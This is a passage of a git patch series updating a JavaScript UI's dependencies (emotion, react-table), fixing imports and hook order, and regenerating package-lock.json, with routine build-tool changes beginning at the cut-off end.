+ + ); +} + +export default ReportPage; From a25e68ac5f8466c2db901ee7e4a955ff2317b643 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 3 Mar 2023 22:06:12 +0000 Subject: [PATCH 0325/1338] UI: Switch from emotion/core -> emotion/react --- monkey/monkey_island/cc/ui/package.json | 4 ++-- .../src/components/report-components/common/ReportLoader.js | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index 3e7e64b93e5..e25161a3c70 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -63,7 +63,7 @@ }, "dependencies": { "@apidevtools/json-schema-ref-parser": "10.1.0", - "@emotion/core": "11.0.0", + "@emotion/react": "^11.10.6", "@fortawesome/fontawesome-svg-core": "6.3.0", "@fortawesome/free-regular-svg-icons": "6.3.0", "@fortawesome/free-solid-svg-icons": "6.3.0", @@ -108,4 +108,4 @@ "source-map-loader": "4.0.1" }, "snyk": true -} \ No newline at end of file +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportLoader.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportLoader.js index 6df87febcc3..fea68dceca2 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportLoader.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportLoader.js @@ -1,4 +1,4 @@ -import {css} from '@emotion/core'; +import {css} from '@emotion/react'; import React, {Component} from 'react'; import {GridLoader} from 'react-spinners'; import * as PropTypes from 'prop-types'; From 0f19903634a4f5e8b6188a92cd3a71d4b6d21558 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 3 Mar 2023 22:07:31 +0000 Subject: [PATCH 0326/1338] UI: Revert react-table version --- monkey/monkey_island/cc/ui/package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index e25161a3c70..dd7bd928ee7 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -100,7 +100,7 @@ "react-markdown": "8.0.5", "react-router-dom": "6.8.2", "react-spinners": "0.13.8", - "react-table": "7.8.0", + "react-table": "^6.11.5", "react-tsparticles": "2.9.3", "remark-breaks": "3.0.2", "request": "^2.88.2", From 9282f4aa1b1f4aac1f9cd5dad76dca5899e54ed7 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 3 Mar 2023 22:08:02 +0000 Subject: [PATCH 0327/1338] UI: Properly import JSONTree --- .../cc/ui/src/components/ui-components/EventsTable.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/EventsTable.js b/monkey/monkey_island/cc/ui/src/components/ui-components/EventsTable.js index edb67b26343..0739b072215 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/EventsTable.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/EventsTable.js @@ -1,5 +1,5 @@ import React from 'react'; -import JSONTree from 'react-json-tree'; +import {JSONTree} from 'react-json-tree'; import MUIDataTable from 'mui-datatables'; import AuthService from '../../services/AuthService'; import '../../styles/pages/EventPage.scss'; From 445db5dc7b374bb782cb363d7168ec0ed69ed32a Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 3 Mar 2023 22:08:52 +0000 Subject: [PATCH 0328/1338] UI: Initialize customUserName before it is used --- .../pages/RunMonkeyPage/RunManually/LocalManualRunOptions.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunManually/LocalManualRunOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunManually/LocalManualRunOptions.js index 9d0469aca02..2bafcfd48fd 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunManually/LocalManualRunOptions.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunManually/LocalManualRunOptions.js @@ -25,8 +25,8 @@ const getContents = (props) => { const [osType, setOsType] = useState(OS_TYPES.WINDOWS_64); const [selectedIp, setSelectedIp] = useState(props.ips[0]); - const [commands, setCommands] = useState(generateCommands()); const [customUsername, setCustomUsername] = useState(''); + const [commands, setCommands] = useState(generateCommands()); useEffect(() => { setCommands(generateCommands()); From c689f18c82189d9a8b16090f479a1d3356f50e18 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 3 Mar 2023 22:09:51 +0000 Subject: [PATCH 0329/1338] UI: Relock npm packages --- monkey/monkey_island/cc/ui/package-lock.json | 158 +++++++++++-------- 1 file changed, 91 insertions(+), 67 deletions(-) diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index 7526634bf2b..d37be0ad533 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -9,7 +9,7 @@ "version": "2.0.0", "dependencies": { "@apidevtools/json-schema-ref-parser": "10.1.0", - "@emotion/core": "11.0.0", + "@emotion/react": "^11.10.6", "@fortawesome/fontawesome-svg-core": "6.3.0", "@fortawesome/free-regular-svg-icons": "6.3.0", "@fortawesome/free-solid-svg-icons": "6.3.0", @@ -46,7 +46,7 @@ "react-markdown": "8.0.5", "react-router-dom": "6.8.2", "react-spinners": "0.13.8", - "react-table": "7.8.0", + "react-table": "^6.11.5", "react-tsparticles": "2.9.3", "remark-breaks": "3.0.2", "request": "^2.88.2", @@ -155,7 +155,6 @@ "version": "7.18.6", "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.18.6.tgz", "integrity": "sha512-TDCmlK5eOvH+eH7cdAFlNXeVJqWIQ7gW9tY1GJIpUtFb6CmjVyq2VM3u71bOyR8CRihcCgMUYoDNyLXao3+70Q==", - "dev": true, "dependencies": { "@babel/highlight": "^7.18.6" }, @@ -446,7 +445,6 @@ "version": "7.18.6", "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.18.6.tgz", "integrity": "sha512-0NFvs3VkuSYbFi1x2Vd6tKrywq+z/cLeYC/RJNFrIX/30Bf5aiGYbtvGXolEktzJH8o5E5KJ3tT+nkxuuZFVlA==", - "dev": true, "dependencies": { "@babel/types": "^7.18.6" }, @@ -569,7 +567,6 @@ "version": "7.19.4", "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.19.4.tgz", "integrity": "sha512-nHtDoQcuqFmwYNYPz3Rah5ph2p8PFeFCsZk9A/48dPc/rGocJ5J3hAAZ7pb76VWX3fZKu+uEr/FhH5jLx7umrw==", - "dev": true, "engines": { "node": ">=6.9.0" } @@ -578,7 +575,6 @@ "version": "7.19.1", "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.19.1.tgz", "integrity": "sha512-awrNfaMtnHUr653GgGEs++LlAvW6w+DcPrOliSMXWCKo597CwL5Acf/wWdNkf/tfEQE3mjkeD1YOVZOUV/od1w==", - "dev": true, "engines": { "node": ">=6.9.0" } @@ -625,7 +621,6 @@ "version": "7.18.6", "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.18.6.tgz", "integrity": "sha512-u7stbOuYjaPezCuLj29hNW1v64M2Md2qupEKP1fHc7WdOA3DgLh37suiSrZYY7haUB7iBeQZ9P1uiRF359do3g==", - "dev": true, "dependencies": { "@babel/helper-validator-identifier": "^7.18.6", "chalk": "^2.0.0", @@ -1938,7 +1933,6 @@ "version": "7.21.2", "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.21.2.tgz", "integrity": "sha512-3wRZSs7jiFaB8AjxiiD+VqN5DTG2iRvJGQ+qYFrs/654lg6kGTQWIOFjlBo5RaXuAZjBmP3+OQH4dmhqiiyYxw==", - "dev": true, "dependencies": { "@babel/helper-string-parser": "^7.19.4", "@babel/helper-validator-identifier": "^7.19.1", @@ -1973,7 +1967,6 @@ "version": "11.10.6", "resolved": "https://registry.npmjs.org/@emotion/babel-plugin/-/babel-plugin-11.10.6.tgz", "integrity": "sha512-p2dAqtVrkhSa7xz1u/m9eHYdLi+en8NowrmXeF/dKtJpU8lCWli8RUAati7NcSl0afsBott48pdnANuD0wh9QQ==", - "dev": true, "dependencies": { "@babel/helper-module-imports": "^7.16.7", "@babel/runtime": "^7.18.3", @@ -1988,28 +1981,55 @@ "stylis": "4.1.3" } }, - "node_modules/@emotion/core": { - "version": "11.0.0", - "resolved": "https://registry.npmjs.org/@emotion/core/-/core-11.0.0.tgz", - "integrity": "sha512-w4sE3AmHmyG6RDKf6mIbtHpgJUSJ2uGvPQb8VXFL7hFjMPibE8IiehG8cMX3Ztm4svfCQV6KqusQbeIOkurBcA==" + "node_modules/@emotion/cache": { + "version": "11.10.5", + "resolved": "https://registry.npmjs.org/@emotion/cache/-/cache-11.10.5.tgz", + "integrity": "sha512-dGYHWyzTdmK+f2+EnIGBpkz1lKc4Zbj2KHd4cX3Wi8/OWr5pKslNjc3yABKH4adRGCvSX4VDC0i04mrrq0aiRA==", + "dependencies": { + "@emotion/memoize": "^0.8.0", + "@emotion/sheet": "^1.2.1", + "@emotion/utils": "^1.2.0", + "@emotion/weak-memoize": "^0.3.0", + "stylis": "4.1.3" + } }, "node_modules/@emotion/hash": { "version": "0.9.0", "resolved": "https://registry.npmjs.org/@emotion/hash/-/hash-0.9.0.tgz", - "integrity": "sha512-14FtKiHhy2QoPIzdTcvh//8OyBlknNs2nXRwIhG904opCby3l+9Xaf/wuPvICBF0rc1ZCNBd3nKe9cd2mecVkQ==", - "dev": true + "integrity": "sha512-14FtKiHhy2QoPIzdTcvh//8OyBlknNs2nXRwIhG904opCby3l+9Xaf/wuPvICBF0rc1ZCNBd3nKe9cd2mecVkQ==" }, "node_modules/@emotion/memoize": { "version": "0.8.0", "resolved": "https://registry.npmjs.org/@emotion/memoize/-/memoize-0.8.0.tgz", - "integrity": "sha512-G/YwXTkv7Den9mXDO7AhLWkE3q+I92B+VqAE+dYG4NGPaHZGvt3G8Q0p9vmE+sq7rTGphUbAvmQ9YpbfMQGGlA==", - "dev": true + "integrity": "sha512-G/YwXTkv7Den9mXDO7AhLWkE3q+I92B+VqAE+dYG4NGPaHZGvt3G8Q0p9vmE+sq7rTGphUbAvmQ9YpbfMQGGlA==" + }, + "node_modules/@emotion/react": { + "version": "11.10.6", + "resolved": "https://registry.npmjs.org/@emotion/react/-/react-11.10.6.tgz", + "integrity": "sha512-6HT8jBmcSkfzO7mc+N1L9uwvOnlcGoix8Zn7srt+9ga0MjREo6lRpuVX0kzo6Jp6oTqDhREOFsygN6Ew4fEQbw==", + "dependencies": { + "@babel/runtime": "^7.18.3", + "@emotion/babel-plugin": "^11.10.6", + "@emotion/cache": "^11.10.5", + "@emotion/serialize": "^1.1.1", + "@emotion/use-insertion-effect-with-fallbacks": "^1.0.0", + "@emotion/utils": "^1.2.0", + "@emotion/weak-memoize": "^0.3.0", + "hoist-non-react-statics": "^3.3.1" + }, + "peerDependencies": { + "react": ">=16.8.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } }, "node_modules/@emotion/serialize": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/@emotion/serialize/-/serialize-1.1.1.tgz", "integrity": "sha512-Zl/0LFggN7+L1liljxXdsVSVlg6E/Z/olVWpfxUTxOAmi8NU7YoeWeLfi1RmnB2TATHoaWwIBRoL+FvAJiTUQA==", - "dev": true, "dependencies": { "@emotion/hash": "^0.9.0", "@emotion/memoize": "^0.8.0", @@ -2018,17 +2038,33 @@ "csstype": "^3.0.2" } }, + "node_modules/@emotion/sheet": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@emotion/sheet/-/sheet-1.2.1.tgz", + "integrity": "sha512-zxRBwl93sHMsOj4zs+OslQKg/uhF38MB+OMKoCrVuS0nyTkqnau+BM3WGEoOptg9Oz45T/aIGs1qbVAsEFo3nA==" + }, "node_modules/@emotion/unitless": { "version": "0.8.0", "resolved": "https://registry.npmjs.org/@emotion/unitless/-/unitless-0.8.0.tgz", - "integrity": "sha512-VINS5vEYAscRl2ZUDiT3uMPlrFQupiKgHz5AA4bCH1miKBg4qtwkim1qPmJj/4WG6TreYMY111rEFsjupcOKHw==", - "dev": true + "integrity": "sha512-VINS5vEYAscRl2ZUDiT3uMPlrFQupiKgHz5AA4bCH1miKBg4qtwkim1qPmJj/4WG6TreYMY111rEFsjupcOKHw==" + }, + "node_modules/@emotion/use-insertion-effect-with-fallbacks": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@emotion/use-insertion-effect-with-fallbacks/-/use-insertion-effect-with-fallbacks-1.0.0.tgz", + "integrity": "sha512-1eEgUGmkaljiBnRMTdksDV1W4kUnmwgp7X9G8B++9GYwl1lUdqSndSriIrTJ0N7LQaoauY9JJ2yhiOYK5+NI4A==", + "peerDependencies": { + "react": ">=16.8.0" + } }, "node_modules/@emotion/utils": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/@emotion/utils/-/utils-1.2.0.tgz", - "integrity": "sha512-sn3WH53Kzpw8oQ5mgMmIzzyAaH2ZqFEbozVVBSYp538E06OSE6ytOp7pRAjNQR+Q/orwqdQYJSe2m3hCOeznkw==", - "dev": true + "integrity": "sha512-sn3WH53Kzpw8oQ5mgMmIzzyAaH2ZqFEbozVVBSYp538E06OSE6ytOp7pRAjNQR+Q/orwqdQYJSe2m3hCOeznkw==" + }, + "node_modules/@emotion/weak-memoize": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/@emotion/weak-memoize/-/weak-memoize-0.3.0.tgz", + "integrity": "sha512-AHPmaAx+RYfZz0eYu6Gviiagpmiyw98ySSlQvCUhVGDRtDFe4DBS0x1bSjdF3gqUDYOczB+yYvBTtEylYSdRhg==" }, "node_modules/@eslint/eslintrc": { "version": "2.0.0", @@ -2976,8 +3012,7 @@ "node_modules/@types/parse-json": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/@types/parse-json/-/parse-json-4.0.0.tgz", - "integrity": "sha512-//oorEZjL6sbPcKUaCdIGlIUeH26mgzimjBB77G6XRgnDl/L5wOnpyBGRe/Mmf5CVW3PwEBE1NjiMZ/ssFh4wA==", - "dev": true + "integrity": "sha512-//oorEZjL6sbPcKUaCdIGlIUeH26mgzimjBB77G6XRgnDl/L5wOnpyBGRe/Mmf5CVW3PwEBE1NjiMZ/ssFh4wA==" }, "node_modules/@types/prop-types": { "version": "15.7.5", @@ -3034,6 +3069,14 @@ "@types/react-router": "*" } }, + "node_modules/@types/react-table": { + "version": "6.8.9", + "resolved": "https://registry.npmjs.org/@types/react-table/-/react-table-6.8.9.tgz", + "integrity": "sha512-fVQXjy/EYDbgraScgjDONA291McKqGrw0R0NeK639fx2bS4T19TnXMjg3FjOPlkI3qYTQtFTPADlRYysaQIMpA==", + "dependencies": { + "@types/react": "*" + } + }, "node_modules/@types/react-transition-group": { "version": "4.4.5", "resolved": "https://registry.npmjs.org/@types/react-transition-group/-/react-transition-group-4.4.5.tgz", @@ -3431,7 +3474,6 @@ "version": "3.2.1", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, "dependencies": { "color-convert": "^1.9.0" }, @@ -3617,7 +3659,6 @@ "version": "3.1.0", "resolved": "https://registry.npmjs.org/babel-plugin-macros/-/babel-plugin-macros-3.1.0.tgz", "integrity": "sha512-Cg7TFGpIr01vOQNODXOOaGz2NpCU5gl8x1qJFbb6hbZxR7XrcE2vtbAsTAbJ7/xwJtUuJEw8K8Zr/AE0LHlesg==", - "dev": true, "dependencies": { "@babel/runtime": "^7.12.5", "cosmiconfig": "^7.0.0", @@ -4060,7 +4101,6 @@ "version": "3.1.0", "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", - "dev": true, "engines": { "node": ">=6" } @@ -4099,7 +4139,6 @@ "version": "2.4.2", "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", - "dev": true, "dependencies": { "ansi-styles": "^3.2.1", "escape-string-regexp": "^1.0.5", @@ -4113,7 +4152,6 @@ "version": "1.0.5", "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", - "dev": true, "engines": { "node": ">=0.8.0" } @@ -4444,8 +4482,7 @@ "node_modules/convert-source-map": { "version": "1.9.0", "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.9.0.tgz", - "integrity": "sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A==", - "dev": true + "integrity": "sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A==" }, "node_modules/cookie": { "version": "0.5.0", @@ -4531,7 +4568,6 @@ "version": "7.1.0", "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-7.1.0.tgz", "integrity": "sha512-AdmX6xUzdNASswsFtmwSt7Vj8po9IuqXm0UXz7QKPuEUmPB4XyjGfaAr2PSuELMwkRMVH1EpIkX5bTZGRB3eCA==", - "dev": true, "dependencies": { "@types/parse-json": "^4.0.0", "import-fresh": "^3.2.1", @@ -5048,9 +5084,9 @@ "dev": true }, "node_modules/electron-to-chromium": { - "version": "1.4.318", - "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.318.tgz", - "integrity": "sha512-EQHZE/yO9Sg6gIP9VezPltDWFA8pMnv7dNRb4Y0ukels3iyXTH313gbHvK/tZwUF+jeh5F5fDf1rqWb8ZWX8fw==" + "version": "1.4.319", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.319.tgz", + "integrity": "sha512-WeoI6NwZUgteKB+Wmn692S35QycwwNxwgTomNnoCJ79znBAjtBi6C/cIW62JkXmpJRX5rKNYSLDBdAM8l5fH0w==" }, "node_modules/elliptic": { "version": "6.5.4", @@ -5143,7 +5179,6 @@ "version": "1.3.2", "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz", "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==", - "dev": true, "dependencies": { "is-arrayish": "^0.2.1" } @@ -5263,7 +5298,6 @@ "version": "4.0.0", "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", - "dev": true, "engines": { "node": ">=10" }, @@ -6047,8 +6081,7 @@ "node_modules/find-root": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/find-root/-/find-root-1.1.0.tgz", - "integrity": "sha512-NKfW6bec6GfKc0SGx1e07QZY9PE99u0Bft/0rzSD5k3sO/vwkVUpDUKVm5Gpp5Ue3YfShPFTX2070tDs5kB9Ng==", - "dev": true + "integrity": "sha512-NKfW6bec6GfKc0SGx1e07QZY9PE99u0Bft/0rzSD5k3sO/vwkVUpDUKVm5Gpp5Ue3YfShPFTX2070tDs5kB9Ng==" }, "node_modules/find-up": { "version": "5.0.0", @@ -6636,7 +6669,6 @@ "version": "3.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", - "dev": true, "engines": { "node": ">=4" } @@ -7137,7 +7169,6 @@ "version": "3.3.0", "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.0.tgz", "integrity": "sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==", - "dev": true, "dependencies": { "parent-module": "^1.0.0", "resolve-from": "^4.0.0" @@ -7269,8 +7300,7 @@ "node_modules/is-arrayish": { "version": "0.2.1", "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", - "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==", - "dev": true + "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==" }, "node_modules/is-bigint": { "version": "1.0.4", @@ -7349,7 +7379,6 @@ "version": "2.11.0", "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.11.0.tgz", "integrity": "sha512-RRjxlvLDkD1YJwDbroBHMb+cukurkDWNyHx7D3oNB5x9rb5ogcksMC5wHCadcXoo67gVr/+3GFySh3134zi6rw==", - "dev": true, "dependencies": { "has": "^1.0.3" }, @@ -8361,8 +8390,7 @@ "node_modules/lines-and-columns": { "version": "1.2.4", "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", - "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==", - "dev": true + "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==" }, "node_modules/loader-runner": { "version": "4.3.0", @@ -12632,7 +12660,6 @@ "version": "1.0.1", "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", - "dev": true, "dependencies": { "callsites": "^3.0.0" }, @@ -12656,7 +12683,6 @@ "version": "5.2.0", "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz", "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==", - "dev": true, "dependencies": { "@babel/code-frame": "^7.0.0", "error-ex": "^1.3.1", @@ -12736,8 +12762,7 @@ "node_modules/path-parse": { "version": "1.0.7", "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", - "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", - "dev": true + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==" }, "node_modules/path-scurry": { "version": "1.6.1", @@ -12774,7 +12799,6 @@ "version": "4.0.0", "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==", - "dev": true, "engines": { "node": ">=8" } @@ -13601,17 +13625,25 @@ } }, "node_modules/react-table": { - "version": "7.8.0", - "resolved": "https://registry.npmjs.org/react-table/-/react-table-7.8.0.tgz", - "integrity": "sha512-hNaz4ygkZO4bESeFfnfOft73iBUj8K5oKi1EcSHPAibEydfsX2MyU6Z8KCr3mv3C9Kqqh71U+DhZkFvibbnPbA==", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/tannerlinsley" + "version": "6.11.5", + "resolved": "https://registry.npmjs.org/react-table/-/react-table-6.11.5.tgz", + "integrity": "sha512-LM+AS9v//7Y7lAlgTWW/cW6Sn5VOb3EsSkKQfQTzOW8FngB1FUskLLNEVkAYsTX9LjOWR3QlGjykJqCE6eXT/g==", + "dependencies": { + "@types/react-table": "^6.8.5", + "classnames": "^2.2.5", + "react-is": "^16.8.1" }, "peerDependencies": { - "react": "^16.8.3 || ^17.0.0-0 || ^18.0.0" + "prop-types": "^15.7.0", + "react": "^16.x.x", + "react-dom": "^16.x.x" } }, + "node_modules/react-table/node_modules/react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==" + }, "node_modules/react-to-print": { "version": "2.14.12", "resolved": "https://registry.npmjs.org/react-to-print/-/react-to-print-2.14.12.tgz", @@ -13956,7 +13988,6 @@ "version": "1.22.1", "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.1.tgz", "integrity": "sha512-nBpuuYuY5jFsli/JIs1oldw6fOQCBioohqWZg/2hiaOybXOft4lonv85uDOKXdf8rhyK159cxU5cDcK/NKk8zw==", - "dev": true, "dependencies": { "is-core-module": "^2.9.0", "path-parse": "^1.0.7", @@ -13994,7 +14025,6 @@ "version": "4.0.0", "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", - "dev": true, "engines": { "node": ">=4" } @@ -14549,7 +14579,6 @@ "version": "0.5.7", "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", "integrity": "sha512-LbrmJOMUSdEVxIKvdcJzQC+nQhe8FUZQTXQy6+I75skNgn3OoQ0DZA8YnFa7gp8tqtL3KPf1kmo0R5DoApeSGQ==", - "dev": true, "engines": { "node": ">=0.10.0" } @@ -14966,14 +14995,12 @@ "node_modules/stylis": { "version": "4.1.3", "resolved": "https://registry.npmjs.org/stylis/-/stylis-4.1.3.tgz", - "integrity": "sha512-GP6WDNWf+o403jrEp9c5jibKavrtLW+/qYGhFxFrG8maXhwTBI7gLLhiBb0o7uFccWN+EOS9aMO6cGHWAO07OA==", - "dev": true + "integrity": "sha512-GP6WDNWf+o403jrEp9c5jibKavrtLW+/qYGhFxFrG8maXhwTBI7gLLhiBb0o7uFccWN+EOS9aMO6cGHWAO07OA==" }, "node_modules/supports-color": { "version": "5.5.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", - "dev": true, "dependencies": { "has-flag": "^3.0.0" }, @@ -14985,7 +15012,6 @@ "version": "1.0.0", "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", - "dev": true, "engines": { "node": ">= 0.4" }, @@ -15286,7 +15312,6 @@ "version": "2.0.0", "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz", "integrity": "sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog==", - "dev": true, "engines": { "node": ">=4" } @@ -16477,7 +16502,6 @@ "version": "1.10.2", "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz", "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==", - "dev": true, "engines": { "node": ">= 6" } From 9da3033ac87e95a136a88eaa6c465f33ae6ea568 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 3 Mar 2023 22:13:27 +0000 Subject: [PATCH 0330/1338] UI: Fix webpack compile --- monkey/monkey_island/cc/ui/.babelrc | 2 +- monkey/monkey_island/cc/ui/.eslintrc | 5 ++--- monkey/monkey_island/cc/ui/webpack.config.js | 6 ++---- 3 files changed, 5 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/ui/.babelrc b/monkey/monkey_island/cc/ui/.babelrc index 278a05d2f21..913767321a7 100644 --- 